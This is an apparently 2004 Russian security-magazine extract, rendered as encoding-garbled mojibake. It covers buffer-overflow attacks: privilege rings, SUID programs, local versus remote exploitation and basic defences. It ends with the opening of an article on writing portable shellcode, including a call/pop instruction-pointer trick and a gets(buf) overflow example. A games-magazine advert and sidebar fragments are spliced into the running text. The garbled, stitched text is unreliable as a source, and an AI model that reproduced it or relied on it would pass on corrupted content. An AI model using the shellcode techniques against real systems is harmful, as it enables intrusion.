æå ðåàëüíî. Ãëàâíàÿ âîçìîæíîñòü -
èñïîëüçîâàòü ïåðåïîëíåíèÿ áóôåðà
â ïðîãðàììå èç íóëåâîãî êîëüöà çà-
ùèòû. Î êîëüöàõ çàùèòû õî÷åòñÿ
ðàññêàçàòü íåñêîëüêî ïîäðîáíåé: â
íèõ ñêðûòà âñÿ àðõèòåêòóðà Âèíäîâ.

ÂËÀÑÒÅËÈÍ ÊÎËÅÖ, ÈËÈ ÒÐÈ
ÑÎÐÂÀÍÍÛÅ ÁÀØÍÈ

Ñàìîå íåïðèâèëåãèðîâàííîå
êîëüöî - òðåòüå. Â íåì èñïîëíÿþòñÿ
ïðîãðàììû âñåõ ïîëüçîâàòåëåé
âêëþ÷àÿ àäìèíîâ. Ýòî óðîâåíü ïðè-
ëîæåíèé. ÏÎ èç ýòîãî êîëüöà çàùè-
òû íèêàê íå ìîæåò âëèÿòü íà áîëåå
"âûñîêèå" ïðîãðàììû (ïðàâäà, òîëü-
êî â òåîðèè, à íà ïðàêòèêå ÷àñòî áû-
âàåò ñ òî÷íîñòüþ äî íàîáîðîò ;-( ).
Äàæå åñëè ïðîãðàììà çàïóùåíà àä-
ìèíèñòðàòîðîì, îíà íå ìîæåò îêà-
çàòü êàêîãî-òî îïðåäåëåííîãî âîç-
äåéñòâèÿ íà êîä äàæå èç âòîðîãî
óðîâíÿ çàùèòû. Òðåòèé óðîâåíü
ïîëíîñòüþ êîíòðîëèðóåòñÿ êàê ñèñ-
òåìîé, òàê è ïðèëîæåíèÿìè èç áîëåå

ïðèâèëåãèðîâàííûõ óðîâíåé. Çàòåì
èäóò ïåðâîå è âòîðîå êîëüöà çàùè-
òû. Â íèõ âûïîëíÿþòñÿ îáùåñèñòåì-
íûå çàäà÷è è äðàéâåðà. Î÷åíü ÷àñòî
â ïåðâîì êîëüöå ðàáîòàþò ïðîôåñ-
ñèîíàëüíûå îòëàä÷èêè. Äîñòàòî÷íî
âòîðîãî óðîâíÿ, ÷òîáû ìîæíî áûëî
óïðàâëÿòü âñåìè ïðèëîæåíèÿìè, çà-
ïóùåííûìè íà äàííûé ìîìåíò. Òàê
êàê äðàéâåðà êðóòÿòñÿ âî âòîðîì
óðîâíå, òî ïåðåïîëíåíèå â ëþáîì
äðàéâåðå äàñò, êàê ìèíèìóì, ïðàâà
àäìèíà. È ñàìîå ãëàâíîå - íóëåâîå
êîëüöî çàùèòû. Êîä ýòîãî óðîâíÿ
îáëàäàåò ìàêñèìàëüíûìè ïðèâèëå-
ãèÿìè, â ýòîì êîëüöå ðàáîòàåò ÎÑ è
îòëàä÷èê SoftIce. ×òîáû ïðèëîæåíèå
ìîãëî ïîïàñòü â íóëåâîå êîëüöî çà-
ùèòû, åìó íåîáõîäèìî çàãðóæàòüñÿ
äî ñòàðòà ÎÑ (èìåííî òàê äåëàåò
SoftIce). Ïîýòîìó çàïîëó÷èòü ïðèâè-
ëåãèè "System", èñïîëüçóÿ îøèáêó â
ïîëüçîâàòåëüñêîì ÏÎ, íå ïîëó÷èòñÿ.
Íî åñëè âçëîìùèê íàéäåò ïåðåïîë-
íåíèå â ÿäðå ÎÑ èëè â åå îñíîâíûõ
êîìïîíåíòàõ (êàê áûëî ñ RPC-óÿçâè-
ìîñòÿìè), òî äåëî - òðóáà. Êàê èçâå-
ñòíî, çëîóìûøëåííèê ïîëó÷àåò ïðà-
âà òîãî óðîâíÿ, êîòîðûå åñòü ó
ãëþ÷íîé ïðîãðàììû, â ñëó÷àå íóëå-
âîãî êîëüöà çàùèòû îí ïîëó÷èò
ïðàâà "System". Ïðè ïîëó÷åíèè ñèñ-
òåìíûõ ïðàâ âçëîìùèêà íè÷òî íå
îñòàíîâèò - âîò ïî÷åìó îøèáêà â
ÿäðå ÎÑ ñâåäåò ê íóëþ âñå çàùèò-
íûå ìåðîïðèÿòèÿ.

ÏÈÍÃÂÈÍÛ, Ê ÎÁÎÐÎÍÅ
ÑÒÀÍÎÂÈÑÜ!

Ïîãîâîðèì òåïåðü î *nix-çàùèòå.
Âñå ÎÑ *nix èìåþò î÷åíü ñõîæóþ ñèñ-
òåìó áåçîïàñíîñòè ïî îòíîøåíèþ ê
ðàáîòå ñ ïîëüçîâàòåëÿìè. Â îñíîâå
ëåæàò ïîíÿòèÿ ãðóïïû è ïîëüçîâàòå-
ëÿ. Âñå ïîëüçîâàòåëè ïðèíàäëåæàò ê
êàêîé-ëèáî ãðóïïå (íàïðèìåð, ãðóïïû
nobody, wheel, admin, root è ò.ä.). Ýòó
ïðèíàäëåæíîñòü ïðè äîáàâëåíèè
ïîëüçîâàòåëÿ óñòàíàâëèâàåò àäìèíè-
ñòðàòîð. Êðîìå ýòîãî, ó êàæäîãî ôàé-
ëà åñòü íåñêîëüêî àòðèáóòîâ: ÷òåíèå,
çàïèñü, âûïîëíåíèå; îíè âïîëíå ìî-
ãóò áûòü ðàçëè÷íû äëÿ õîçÿèíà ôàé-
ëà, äëÿ ãðóïïû, â êîòîðîé îí ñîñòîèò,
è äëÿ âñåõ îñòàëüíûõ. Ñ ïîìîùüþ
ýòèõ àòðèáóòîâ ïðîèñõîäèò ðàçãðàíè-
÷åíèå ïîëüçîâàòåëüñêîãî äîñòóïà ê
ðåñóðñàì ñèñòåìû. Ïðåäñòàâëåííàÿ
ñèñòåìà î÷åíü óäîáíà è ïðàêòè÷åñêè
íåóÿçâèìà. Íî åñòü åùå äâà àòðèáóòà,
êîòîðûå èãðàþò îãðîìíóþ ðîëü ïðè
àòàêàõ íà ïåðåïîëíåíèÿ áóôåðà, - òàê
íàçûâàåìûå áèòû UID/GID. Ìåõàíèçì
SUID/SGID áûë ââåäåí äëÿ ïîâûøå-
íèÿ áåçîïàñíîñòè è þçàáèëüíîñòè
ÎÑ, íî íà ñàìîì äåëå îí ñîçäàë ïîðÿ-
äî÷íóþ óÿçâèìîñòü ïðè àòàêàõ íà ïå-
ðåïîëíåíèå áóôåðà. Ïðèíöèï ðàáîòû
ýòîãî ìåõàíèçìà ìîæíî îáúÿñíèòü
òàê: â ñèñòåìå ñóùåñòâóåò ìíîæåñòâî
ôàéëîâ, êîòîðûå äîëæíû áûòü çàùè-
ùåíû îò íåïîñðåäñòâåííîãî ÷òåíèÿ è
çàïèñè ïðîñòûìè ïîëüçîâàòåëÿìè, íî
ïðè ýòîì íåêîòîðûå ïðîãðàììû, çàïó-
ùåííûå èìè æå, ìîãëè áû ïèñàòü â
ýòè ôàéëû. Ïðèìåðîì ñëóæèò ôàéë
/etc/passwd, â íåì õðàíÿòñÿ êåøè ïà-
ðîëåé âñåõ ïîëüçîâàòåëåé. Ýòîò
ôàéë çàùèùåí îò ÷òåíèÿ è çàïèñè
äëÿ âñåõ, êðîìå root'a. Ïðè îáû÷íîé
ìîäåëè ýòî áû çíà÷èëî, ÷òî òîëüêî
root ìîæåò ìåíÿòü ïàðîëü äëÿ ïîëü-
çîâàòåëÿ. Íà ñàìîì æå äåëå ýòî íå
òàê: ïðîãðàììà passwd îòëè÷íî ðàáî-
òàåò ó êàæäîãî þçåðà ñèñòåìû. Ëþ-
áîé ïîëüçîâàòåëü ìîæåò ëåãêî ñìå-
íèòü ñâîé ïàðîëü, à çíà÷èò ïðîèçâåñ-
òè çàïèñü â /etc/passwd! Äîñòèãàåòñÿ
ýòî èìåííî ñ ïîìîùüþ ìåõàíèçìà
SUID/SGID ïðîöåññîâ. Äåëî â òîì, ÷òî
ïðîãðàììà passwd èìååò õîçÿèíîì
ïîëüçîâàòåëÿ root è ó íåå óñòàíîâ-
ëåí UID-áèò. Ïðè çàïóñêå òàêîãî ïðè-
ëîæåíèÿ ëþáûì ñïîñîáîì ïðîöåññ
ïîëó÷àåò õîçÿèíîì ïîëüçîâàòåëÿ, êî-
òîðûé ïðîïèñàí ó íåãî âî âëàäåëü-
öàõ. Òàêèì îáðàçîì, ïðîãðàììà çàïóñ-
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Î÷åíü âàæ-
íî â firewall
âûñòàâèòü
òàê íàçûâà-
åìîå ïðàâè-
ëî "çàïðå-
ùåíî âñå,
÷òî ÿâíî íå
ðàçðåøåíî",
ýòà ïîëèòè-
êà çàïðåùå-
íèÿ ïîìî-
æåò óáåðå÷ü
ñåðâåð îò
óäàëåííûõ
àòàê ïåðå-
ïîëíåíèÿ.

Î÷åíü ìíîãî òåîðèè è èíôîðìàöèè ê ðàçìûøëåíèþ

Âîò òàêîé ôàéëèê è âûçûâàë ïåðåïîëíåíèå â ñèñòåìàõ
XP SP1

W W W

www.securityfocus.com - ñàìûé èçâåñòíûé ñàéò ïî IT-
áåçîïàñíîñòè.

www.cert.org - CERT (Computer Emergensy Response Team)
www.secyritylab.ru - îãðîìíûé ñêëàä êàê óÿçâèìîñòåé, òàê è

ýêñïëîèòîâ äëÿ íèõ
www.bugtraq.ru - íàø îòâåò çàïàäíûì ñàéòàì.
www.microsoft.com - ïàò÷è äëÿ ãëþ÷íîé ñèñòåìû.



êàåòñÿ ñ ìàêñèìàëüíûìè ïðèâèëåãèÿ-
ìè, áåç ââîäà root-ïàðîëÿ. Èç êîíöåï-
öèè ìåõàíèçìîâ SUID/SGID ñëåäóåò,
÷òî óñòàíàâëèâàòü áèò UID, êîòîðûé
ïîçâîëÿåò çàïóñêàòü äàííîå ïðèëî-
æåíèå îò èìåíè âëàäåëüöà ôàéëà
áåç ââîäà ïàðîëÿ íà åãî ó÷åòíóþ çà-
ïèñü, è áèò GID, ïîçâîëÿþùèé ïðî-
öåññó çàïóñêàòüñÿ îò èìåíè ãðóïïû-
âëàäåëüöà, ìîæåò òîëüêî root. Ïðîã-
ðàììû ñ óñòàíîâëåííûì UID-áèòîì,
èìåþùèå âëàäåëüöåì ïîëüçîâàòåëÿ
root, - ãëàâíûå ìèøåíè êðàêåðîâ.
Äîñòàòî÷íî íàéòè è ïðèìåíèòü ïåðå-
ïîëíåíèå áóôåðà â òàêîì ñîôòå, è
ñåðâåð ñðàçó ïåðåéäåò â ðóêè àòàêóþ-
ùåãî. Ïîýòîìó íåêîòîðûå çàùèùåí-
íûå äèñòðèáóòèâû ñòàðàþòñÿ îòêà-
çàòüñÿ îò ìåõàíèçìà SUID/SGID, õîòÿ
ýòî è ïîíèæàåò óäîáñòâî èñïîëüçîâà-
íèÿ ñèñòåìû. Åñëè ïðîèñõîäèò ïåðå-
ïîëíåíèÿ íà óðîâíå ÿäðà, òî ñèñòåìà
âûäàåò kernel panic ëèáî ïðîèñõîäèò
ðàçðóøåíèå çàùèòû õîñòà.

ÌÅÑÒÎ ÂÑÒÐÅ×È
ÈÇÌÅÍÈÒÜ ÍÅËÜÇß

Âñå àòàêè ìîæíî ðàçäåëèòü íà äâå
áîëüøèå ãðóïïû: ëîêàëüíûå è óäà-
ëåííûå. Åñëè ðàññìàòðèâàòü ïåðåïîë-
íåíèå áóôåðà, òî îòíåñòè åãî ê êàêî-
ìó-ëèáî îäíîìó âèäó àòàê íåâîçìîæ-
íî. Ñóùåñòâóþò ïðèìåðû êàê ëîêàëü-
íûõ àòàê, òàê è óäàëåííûõ âçëîìîâ
÷åðåç ïåðåïîëíåíèå. Ðàññìîòðèì ëî-
êàëüíóþ àòàêó. Äëÿ òîãî ÷òîáû åå ñî-
âåðøèòü, ó âçëîìùèêà äîëæåí áûòü
ëèáî ôèçè÷åñêèé äîñòóï ê õîñòó (ìîíè-
òîð, êëàâà àòàêóåìîãî êîìïüþòåðà:-)),
ëèáî øåëë, êîòîðûé ïîçâîëèò çàïóñ-
òèòü ïðèëîæåíèÿ. Àòàêà òàêîãî âèäà
ñâîäèòñÿ ê çàãðóçêå ýêñïëîèòà íà

êîìïüþòåð è çàïóñêó åãî. Íî òóò ìîãóò
âîçíèêíóòü íåêîòîðûå ïîäâîäíûå
êàìíè: çàïðåùåíà çàïèñü íà äèñê âî-
îáùå, òî åñòü ó÷åòíàÿ çàïèñü ïîäðà-
çóìåâàåò òîëüêî ÷òåíèå ôàéëîâ îïðå-
äåëåííîãî òèïà è âñå. Òîãäà àòàêà ÷å-
ðåç øåëë îòïàäàåò, à ïðè ôèçè÷åñêîì
äîñòóïå ìîæíî ïîïðîáîâàòü èñïîëü-
çîâàòü ñìåííûå íîñèòåëè è çàïóñêàòü
ýêñïëîèò ñ íèõ. Õîòÿ è òóò áûâàþò îï-
ðåäåëåííûå çàìîðî÷êè: ó *nix-ñèñòåì
åñòü çàùèòà îò ïîäîáíûõ äåéñòâèé,
îñíîâàííàÿ íà òîì, ÷òî ñìåííûå íîñè-
òåëè ìîíòèðóþòñÿ ñ îïöèåé "noexec",
÷òî îçíà÷àåò íåâîçìîæíîñòü çàïóñêà
ïðîãðàììíîãî êîäà ñ ýòèõ óñòðîéñòâ.
Ïðè òàêèõ æåñòêèõ îãðàíè÷åíèÿõ
ïðîñòî èñïîëüçîâàòü ïåðåïîëíåíèå
áóôåðà íå óäàñòñÿ, ïåðåïîëíåíèå ñòà-
íåò ÷àñòüþ êîìïëåêñíîé àòàêè. 

Â Windows òàêæå ìîãóò ïîÿâèòüñÿ
ïðîáëåìû ïðè ïîïûòêå âçëîìà. Äëÿ
ëîêàëüíûõ ýêñïëîèòîâ íàèáîëüøóþ
ïðîáëåìó ïðåäñòàâëÿåò çàïðåùåíèå
âûïîëíåíèÿ ëþáîãî ïîñòîðîííåãî ÏÎ
íà äàííîé ìàøèíå. Ýòî îñóùåñòâëÿåò-
ñÿ ãðàìîòíûì ñèñòåìíûì àäìèíèñòðà-

òîðîì ÷åðåç ðàçðåøåíèå âûïîëíÿòü
òîëüêî îïðåäåëåííûé êîä. ×àùå âñå-
ãî òàêóþ çàùèòó îáîéòè íå óäàåòñÿ:
äëÿ îïðåäåëåíèÿ äîïóñòèìûõ ïðèëî-
æåíèé èñïîëüçóåòñÿ ñëîæíàÿ õåø-
ôóíêöèÿ, è, åñëè õåø íå ñîâïàäåò,
ïðèëîæåíèå çàïóùåíî íå áóäåò. Ýòî
îñíîâíîå ïðåïÿòñòâèå ïðè ëîêàëüíîì
âçëîìå ÷åðåç ïåðåïîëíåíèå.

ÏÎÆÅËÀÉ ÌÍÅ ÊÎÍÍÅÊÒÀ�
Åñëè ãîâîðèòü î ñåòåâûõ àòàêàõ,

òî òóò òîæå î÷åíü ìíîãî îáùåãî.
Ïðèíöèï ðàáîòû ëþáîãî óäàëåííîãî
ýêñïëîèòà äîñòàòî÷íî ïðîñò: ïðîãðàì-
ìà ïîäñîåäèíÿåòñÿ íà îïðåäåëåííûé
ïîðò àòàêóåìîé ñèñòåìû, ïîñûëàåò
ñòðîêó, ïåðåïîëíÿþùóþ áóôåð ñåð-
âèñà, à îïðåäåëåííûé êîä, ïîñëàííûé
ýêñïëîèòîì, îòêðûâàåò íà ëþáîì ñâî-
áîäíîì ïîðòó telnet-ñåðâåð. Ïîñëå ÷å-
ãî âçëîìùèê ïðîñòûì telnet-êëèåíòîì
óïðàâëÿåò óäàëåííîé ñèñòåìîé. Ïðàâ-
äà, òàê êðàñèâî âñå òîëüêî â òåîðèè,
ðåàëüíîñòü æå îêàçûâàåòñÿ íàìíîãî
ñëîæíåå. Íàïðèìåð, ñèñòåìà Firewall
ñïîñîáíà ðàçðóøèòü âñå ïëàíû àòàêó-

B
U

F
F

E
R

 
O

V
E

R
F

L
O

W

ÕÀÊÅÐÑÏÅÖ   08(45)   2004

Òàêæå õîðî-
øèìè öåëÿ-
ìè â *nix-
ñèñòåìàõ
ÿâëÿþòñÿ
îøèáêè â
ôóíêöèÿõ
ÿäðà. 

Â àïðåëå
ýòîãî ãîäà
Microsoft
ïðåäóïðåäè-
ëà î íîâîì
áàãå â IE,
âîçíèêàþ-
ùåì ïðè îá-
ðàáîòêå êàð-
òèíîê. Êà-
êîì? ×èòàé
ñòàòüþ "Ïå-
ðåïîëíåíèÿ
ïðè îáðà-
áîòêå äàí-
íûõ" â ýòîì
íîìåðå!
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Àâòîð ñåòåâîãî ÷åðâÿ Ðîáåðò Ìîððèñ-ìëàäøèé - ñûí èçâåñòíîãî
IT-ñïåöèàëèñòà Ðîáåðòà Ìîððèñà-ñòàðøåãî, êîòîðûé çàíèìàë
äîëæíîñòü ðóêîâîäèòåëÿ NCSC (Íàöèîíàëüíîãî öåíòðà êîìïüþòåð-
íîé áåçîïàñíîñòè). 

ÄÎÏÎËÍÈÒÅËÜÍÀß ÈÍÔÀ

{
char buf[512];
�..
gets(buf);
�
}
Êàê âèäèøü, çà ýòè ãîäû ïðàêòè÷åñêè íè÷åãî íå èçìåíèëîñü.

ÏÅÐÂÀß ÎØÈÁÊÀ ÏÅÐÅÏÎËÍÅÍÈß Â ÑÅÐÂÈÑÅ FINGERD

×òî æå ó íàñ â ëîãàõ? Äà ëàãè êàêèå-òî ;-)

Âîò îíè, áóäíè àäìèíà Âèíäîâ

Linux âèäàë â ãðîáó âñå ïåðåïîëíåíèÿ Âèíäîâ



þùåãî. Äåëî â òîì, ÷òî ãðàìîòíî íàñò-
ðîåííûé áðàíäìàóýð ïðîñòî íå äàñò
îòêðûòü ïîðò äëÿ íåèçâåñòíîãî ïðè-
ëîæåíèÿ. Â Linux'e iptables èìååò íà-
áîð ïðàâèë è ïîëèòèê, èñõîäÿ èç êîòî-
ðûõ îí óïðàâëÿåò âñåé ñåòåâîé àêòèâ-
íîñòüþ õîñòà. À òàê êàê ñåðâåðíîé
÷àñòè ýêñïëîèòà â ýòèõ ïðàâèëàõ íåò,
òî îí è íå ñìîæåò îòêðûòü ïîðò äëÿ
ñîåäèíåíèÿ. Â Windows-ïëàòôîðìå
áðàíäìàóýð òàêæå èãðàåò îäíó èç îñ-
íîâíûõ ðîëåé â çàùèòå îò óäàëåííûõ
àòàê ïåðåïîëíåíèÿ áóôåðà. 

ÊÀÊ ÆÅ ÁÛÒÜ?
Ïîëíîñòüþ çàùèòèòüñÿ îò àòàê

íà ïåðåïîëíåíèÿ íåâîçìîæíî, íî
ñíèçèòü îïàñíîñòü äîñòàòî÷íî ïðîñ-
òî. Äëÿ ýòîãî íóæíî ñëåäîâàòü ïðîñ-
òûì ðåêîìåíäàöèÿì. Âî-ïåðâûõ, êàæ-
äûé äåíü ïîñåùàòü ñàéò www.security-
focus.com èëè www.bugtraq.ru, ãäå ïóáëè-
êóþòñÿ ñàìûå ïîñëåäíèå íîâîñòè èç
ìèðà IT-áåçîïàñíîñòè. Ìîæíî ïîäïè-
ñàòüñÿ íà ðàññûëêó bugtraq.ru ñ ïî-
ìîùüþ ñåðâèñà www.subscribe.ru èëè
ïðÿìî íà ýòîì ñàéòå. Òàêæå íåîáõî-

äèìî ïðîâåðèòü âñå ïðàâèëà àäìè-
íèñòðèðîâàíèÿ ñåðâåðîâ. Äëÿ
Windows-ïëàòôîðì æåëàòåëüíî ïîï-
ðàâèòü ïðàâèëà íà âêëàäêå "àäìèíè-
ñòðèðîâàíèå" è ïóíêò "ëîêàëüíàÿ
ïîëèòèêà áåçîïàñíîñòè", ãäå ñëåäóåò
ÿâíî óêàçàòü ÏÎ, êîòîðîìó ðàçðå-
øåí çàïóñê íà âûïîëíåíèå, ïîñëå
÷åãî çàïðåòèòü âñå îñòàëüíûå íà
óðîâíå õîñòà. Äëÿ *nix ïëàòôîðì
ìîæíî ïðè óñòàíîâêå âûáðàòü ìàê-
ñèìàëüíûé óðîâåíü áåçîïàñíîñòè
(ýòî çíà÷èòåëüíî ïîâûñèò áåçîïàñ-
íîñòü ñèñòåìû, ïðàâäà, â óùåðá
óäîáñòâó ðàáîòû), ïîñëå óñòàíîâêè
èñïîëüçîâàòü îïöèþ "noexec", êîãäà
âîçíèêíåò íåîáõîäèìîñòü îáðàòèòü-
ñÿ ê ñìåííîìó íîñèòåëþ (îïöèþ
ìîæíî óêàçàòü â ôàéëå /etc/fstab).
À ïðîñìîòð ëîãîâ â ëþáîé ÎÑ ïîçâî-
ëèò âî âðåìÿ îïðåäåëèòü ïîïûòêó
àòàêè è ïðåäóïðåäèòü åå, ïîýòîìó
íåîáõîäèìî èíîãäà àíàëèçèðîâàòü
ñèñòåìíûå æóðíàëû ñîîòâåòñòâóþ-
ùèìè óòèëèòàìè. Ïîñòàðàéñÿ ñëåäî-
âàòü íåõèòðûì ðåêîìåíäàöèÿì è
îáåçîïàñü ñâîþ ñèñòåìó.E

Îáðàòè âíèìàíèå íà âûâîä chmod!

Íà÷èíàåì êîííåêò ê âçëîìàííîìó õîñòó...

Cèñòåìà Firewall ñïîñîáíà ðàçðóøèòü 
âñå ïëàíû àòàêóþùåãî. 

ÅÑËÈ ÒÛ ÃÅÉÌÅÐ �
ÒÛ ÍÅ ÏÐÎÏÓÑÒÈØÜ!

èëèèëè

8é íîìåð óæå â ïðîäàæå!

Ýòî ëåòî � âðåìÿ îòëè÷íûõ RTS.
Ground Control 2 � åùå îäèí ñòðàòå-
ãè÷åñêèé õèò íà íàøåé îáëîæêå!

Íîâîå î ëó÷øèõ îòå÷åñòâåííûõ
ïðîåêòàõ � You Are Empty,
S.T.A.L.K.E.R., Êîðñàðû II è äðóãèõ!

Ïî ìíîãî÷èñëåííûì ïðîñüáàì �
âîçðîæäåíèå «Äíåâíèêîâ ðàçðà-
áîò÷èêîâ» è «Îòñåáÿòèíû», íîâûå
ðóáðèêè.

Õî÷åøü çíàòü âñå î êîìïüþòåðíûõ
èãðàõ � ÷èòàé ïðàâèëüíûé æóðíàë,
÷èòàé «PC ÈÃÐÛ»!

Íèêàêîãî ìóñîðà è íåâíÿòíûõ òåì,
í à ñ ò î ÿ ù è é  ã å é ì å ð ñ ê è é  ð à é
Ò Î Ë Ü Ê Î  P C  È Ã Ð Û

Ïðàâèëüíûé æóðíàë 

î êîìïüþòåðíûõ èãðàõ

Ïðàâèëüíûé îáúåì 224 ñòðàíèö

Ïðàâèëüíàÿ êîìïëåêòàöèÿ

3 CD èëè DVD

Ïðàâèëüíàÿ öåíà
Ð Ó Á Ë Å É
110



Êðèñ Êàñïåðñêè aka ìûùúõ

S ell-êîä íèêîãäà çàðàíåå íå çíàåò, êóäà ïîïàäåò, ïîýòîìó îí äîëæåí óìåòü âûæèâàòü â ëþáûõ óñëîâèÿõ,
àâòîìàòè÷åñêè àäàïòèðóÿñü ê êîíêðåòíîé îïåðàöèîííîé ñèñòåìå, ÷òî íå òàê-òî ïðîñòî. Íåìíîãèå âûæèâøèå äàëè

ìèðó êèáåðïðîñòðàíñòâà òî, â ÷åì íóæäàëèñü äåñÿòêè ÷åðâåé, âèðóñîâ è èõ ñîçäàòåëåé.

ÆÈÂÓ×ÈÉ ÊÎÄ
ÒÅÕÍÈÊÀ ÍÀÏÈÑÀÍÈß ÏÅÐÅÍÎÑÈÌÎÃÎ SHELL-ÊÎÄÀ

ñëîâèìñÿ íàçûâàòü ïå-
ðåíîñèìûì shell-êîäîì
ìàøèííûé êîä, ïîääåð-
æèâàþùèé çàäàííóþ
ëèíåéêó îïåðàöèîííûõ

ñèñòåì (íàïðèìåð, Windows NT,
Windows 2000 è Windows XP). Êàê ïî-
êàçûâàåò ïðàêòèêà, äëÿ ðåøåíèÿ ïî-
äàâëÿþùåãî áîëüøèíñòâà çàäà÷ òà-
êîé ñòåïåíè ïåðåíîñèìîñòè âïîëíå
äîñòàòî÷íî. Â êîíöå êîíöîâ, ãîðàçäî
ïðîùå íàïèñàòü äåñÿòîê óçêîñïåöèà-
ëèçèðîâàííûõ shell-êîäîâ, ÷åì îäèí
óíèâåðñàëüíûé. ×òî ïîäåëàåøü, ïåðå-
íîñèìîñòü òðåáóåò æåðòâ è, â ïåðâóþ
î÷åðåäü, óâåëè÷åíèÿ îáúåìà shell-êî-
äà, à ïîòîìó îíà îïðàâäûâàåò ñåáÿ
òîëüêî â èñêëþ÷èòåëüíûõ ñëó÷àÿõ.

ÒÐÅÁÎÂÀÍÈß,
ÏÐÅÄÚßÂËßÅÌÛÅ Ê
ÏÅÐÅÍÎÑÈÌÎÌÓ SHELL-ÊÎÄÓ

Ïåðåíîñèìûé shell-êîä äîëæåí
ïîëíîñòüþ ñîõðàíÿòü ðàáîòîñïîñîá-
íîñòü ïðè ëþáîì ðàñïîëîæåíèè â ïà-
ìÿòè è èñïîëüçîâàòü ìèíèìóì ñèñòåì-
íî-çàâèñèìûõ ñëóæåáíûõ ñòðóêòóð,
çàêëàäûâàÿñü ëèøü íà íàèìåíåå èç-
ìåí÷èâûå è íàèáîëåå äîêóìåíòèðî-
âàííûå èç íèõ.

Îòòàëêèâàòüñÿ îò ñîäåðæèìîãî ðåãè-
ñòðîâ ÖÏ íà ìîìåíò âîçíèêíîâåíèÿ
ïåðåïîëíåíèÿ êàòåãîðè÷åñêè íåäî-
ïóñòèìî, ïîñêîëüêó èõ çíà÷åíèÿ â îá-
ùåì ñëó÷àå íåîïðåäåëåííû, è ðå-
øèòüñÿ íà òàêîé øàã ìîæíî òîëüêî ñ
ãîëîäóõè, êîãäà shell-êîä óïðÿìî íå
æåëàåò âìåùàòüñÿ â îòâåäåííîå åìó
êîëè÷åñòâî áàéò è ïðèõîäèòñÿ èìïðî-
âèçèðîâàòü, ïðèíîñÿ â æåðòâó ïåðå-
íîñèìîñòü.

Íå ñòîèò çëîóïîòðåáëÿòü õèòðûìè
òðþêàìè ("õàêàìè") è íåäîêóìåíòèðî-
âàííûìè âîçìîæíîñòÿìè - ýòî íåãà-
òèâíî ñêàçûâàåòñÿ íà ïåðåíîñèìîñòè
è ôàêòè÷åñêè íè÷åãî íå äàåò âçàìåí.

ÏÓÒÈ ÄÎÑÒÈÆÅÍÈß
ÌÎÁÈËÜÍÎÑÒÈ

Òåõíèêà ñîçäàíèÿ ïåðåìåùàåìîãî
êîäà òåñíî ñâÿçàíà ñ àðõèòåêòóðîé
êîíêðåòíîãî ìèêðîïðîöåññîðà. Â ÷àñò-
íîñòè, ëèíåéêà x86 ïîääåðæèâàåò
ñëåäóþùèå îòíîñèòåëüíûå êîìàíäû:

PUSH/POP, CALL è Jx. Ñòàðóøêà
PDP-11 â ýòîì îòíîøåíèè áûëà íàìíî-
ãî áîãà÷å è, ÷òî ñàìîå ïðèÿòíîå, ïîç-
âîëÿëà èñïîëüçîâàòü ðåãèñòð óêàçà-
òåëÿ êîìàíä â àäðåñíûõ âûðàæåíèÿõ,
ñóùåñòâåííî óïðîùàÿ íàøó çàäà÷ó.
Íî, ê ñîæàëåíèþ, ìû íå ðàñïîëàãàåì
âîçìîæíîñòüþ âûáîðà ïðîöåññîðà.

Êîìàíäû óñëîâíîãî ïåðåõîäà Jxx
âñåãäà îòíîñèòåëüíû, òî åñòü îïåðàíä
êîìàíäû çàäàåò îòíþäü íå öåëåâîé
àäðåñ, à ðàçíèöó ìåæäó öåëåâûì àä-
ðåñîì è àäðåñîì ñëåäóþùåé êîìàíäû,
áëàãîäàðÿ ÷åìó ïåðåõîä ïîëíîñòüþ
ïåðåìåùàåì. Ïîääåðæèâàþòñÿ äâà
òèïà îïåðàíäîâ: byte è word/dword,
îáà çíàêîâûå - ïåðåõîä ìîæåò áûòü
íàïðàâëåí êàê "âïåðåä", òàê è "íàçàä"
(â ïîñëåäíåì ñëó÷àå îïåðàíä ñòàíî-
âèòñÿ îòðèöàòåëüíûì).

Êîìàíäû áåçóñëîâíîãî ïåðåõîäà
JMP áûâàþò è àáñîëþòíûìè, è îòíî-
ñèòåëüíûìè. Îòíîñèòåëüíûå íà÷èíà-
þòñÿ ñ îïêîäà EBh (îïåðàíä òèïà byte)
èëè E9h (îïåðàíä òèïà word/dword), à
àáñîëþòíûå - ñ EAh, ïðè ýòîì îïåðàíä
çàïèñûâàåòñÿ â ôîðìå ñåãìåíò: ñìå-
ùåíèå. Ñóùåñòâóþò åùå è êîñâåííûå
êîìàíäû, ïåðåäàþùèå óïðàâëåíèå ïî
óêàçàòåëþ, ëåæàùåìó ïî àáñîëþòíî-
ìó àäðåñó èëè ðåãèñòðó. Ïîñëåäíåå
íàèáîëåå óäîáíî è îñóùåñòâëÿåòñÿ
ïðèáëèçèòåëüíî òàê: mov eax, àáñî-
ëþòíûé àäðåñ/jmp eax.

Êîìàíäà âûçîâà ïîäïðîãðàììû
CALL âåäåò ñåáÿ àíàëîãè÷íî JMP, çà
òåì ëèøü èñêëþ÷åíèåì ÷òî êîäèðóåò-
ñÿ äðóãèìè îïêîäàìè (E8h - îòíîñè-
òåëüíûé îïåðàíä òèïà word/dword,
FFh /2 - êîñâåííûé âûçîâ) è ïåðåä ïå-
ðåäà÷åé óïðàâëåíèÿ íà öåëåâîé àäðåñ
çàáðàñûâàåò íà âåðõóøêó ñòåêà àäðåñ
âîçâðàòà, ïðåäñòàâëÿþùèé ñîáîé àä-
ðåñ êîìàíäû, ñëåäóþùåé çà call.

Ïðè óñëîâèè, ÷òî shell-êîä ðàñïîëî-
æåí â ñòåêå (ïðè ïåðåïîëíåíèè àâòî-
ìàòè÷åñêèõ áóôåðîâ îí îêàçûâàåòñÿ
èìåííî òàì), ìû ìîæåì èñïîëüçîâàòü
ðåãèñòð ESP â êà÷åñòâå áàçû, îäíàêî
òåêóùåå çíà÷åíèå ESP äîëæíî áûòü
èçâåñòíî, à èçâåñòíî îíî äàëåêî íå
âñåãäà. Äëÿ îïðåäåëåíèÿ òåêóùåãî
çíà÷åíèÿ ðåãèñòðà óêàçàòåëÿ êîìàíä
äîñòàòî÷íî ñäåëàòü near call è âûòà-

ùèòü àäðåñ âîçâðàòà êîìàíäîé pop.
Îáû÷íî ýòî âûãëÿäèò òàê:

00000000:          call          000000005
; çàêèíóòü EIP+sizeof(call) â ñòåê
00000005: pop ebp
; òåïåðü â ðåãèñòðå ebp òåêóùèé eip

Ïðèâåäåííûé êîä íå ñâîáîäåí îò íó-
ëåé (à íóëè â shell-êîäå â áîëüøèí-
